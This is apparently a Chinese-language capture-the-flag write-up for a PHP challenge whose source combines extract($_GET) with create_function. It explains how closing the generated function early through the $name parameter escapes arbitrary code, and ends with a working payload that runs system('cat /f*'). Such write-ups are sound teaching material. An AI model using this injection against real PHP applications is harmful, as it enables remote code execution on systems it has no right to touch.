官方WP:https://ctf-show.feishu.cn/docx/Uy3xdlo9koLQtyxnlUGcpIxunUh?from=from_copylink

1、源码

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2023-08-08 00:12:34
# @Last Modified by: h1xa
# @Last Modified time: 2023-08-08 00:26:48
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

highlight_file(__FILE__);
error_reporting(0);

extract($_GET);
create_function($name,base64_encode($value))();

2、分析过程:

  1. extract($_GET);能够实现变量覆盖,可以给$name$value赋值。
  2. 存在create_function函数,可以通过这个实现rce。
  3. 若不存在base64_encode则可以通过$value实现rce,由于$valuebase64_encode破坏,导致不可控,因此可以考虑使用$name
  4. 参考这篇博客 匿名函数create_function()代码注入 ,只要create_function的形参有一个可控,都能执行php代码。

3、create_function

对于create_function函数,不能把它当成一个普通的函数看待,而是应该当成一个函数的定义过程。

比如:

create_function($a,$b);
等同于
function xxxx( $a )
{
$b;
}
其中xxxx为匿名函数的函数名,$a为形参,$b为函数内执行的代码

由此我们可以想,提前闭合create_function,结束这个函数,那么不久能将php代码逃逸出来了么

create_function( $a , $b );
$a="){}phpinfo();/*"
则等同于
function xxxx( ){}phpinfo();/* )
{
$b;
}

可以发现phpinfo逃了出来,为了不报错,使用/*(或者//)把后面的所有代码都注释掉,由此可以实现rce。

4、payload

?name=){}system("cat /f*");//